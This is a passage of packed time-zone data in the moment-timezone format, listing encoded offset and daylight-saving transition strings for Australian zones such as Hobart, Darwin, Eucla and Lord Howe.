1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|18e3","Australia/Hobart|LMT AEST AEDT|-9N.g -a0 -b0|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212|-3109N.g Pk1N.g 1a00 1qM0 Oo0 1zc0 Oo0 TAo0 yM0 1cM0 1cM0 1fA0 1a00 VfA0 1cM0 1o00 Rc0 1wo0 Rc0 1wo0 U00 1wo0 LA0 1C00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 11A0 1qM0 WM0 1qM0 Oo0 1zc0 Oo0 1zc0 Oo0 1wo0 WM0 1tA0 WM0 1tA0 U00 1tA0 U00 1tA0 11A0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 11A0 1o00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1cM0 1a00 1io0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|21e4","Australia/Darwin|LMT ACST ACST ACDT|-8H.k -90 -9u -au|01232323232|-32oUH.k ajXH.k H1Bu xc0 10jc0 yM0 1cM0 1cM0 1fA0 1a00|12e4","Australia/Eucla|LMT +0845 +0945|-8z.s -8J -9J|01212121212121212121|-30nIz.s PkpO.s xc0 10jc0 yM0 1cM0 1cM0 1gSo0 Oo0 l5A0 Oo0 iJA0 G00 zU00 IM0 1qM0 11A0 1o00 11A0|368","Australia/Lord_Howe|LMT AEST +1030 +1130 +11|-aA.k -a0 -au -bu -b0|01232323232424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424|-32oWA.k 3tzAA.k 1zdu Rb0 1zd0 On0 1zd0 On0 1zd0 On0 1zd0 TXu 1qMu WLu 1tAu WLu 1tAu TXu 1tAu Onu 1zcu Onu 1zcu Onu 1zcu Rbu 1zcu Onu 1zcu Onu 1zcu 11zu 1o0u 11zu 1o0u 11zu 1o0u 11zu 1qMu WLu 11Au 1nXu 1qMu 11zu 1o0u 11zu 1o0u 11zu 1qMu WLu 1qMu 11zu 1o0u WLu 1qMu 14nu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1fzu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 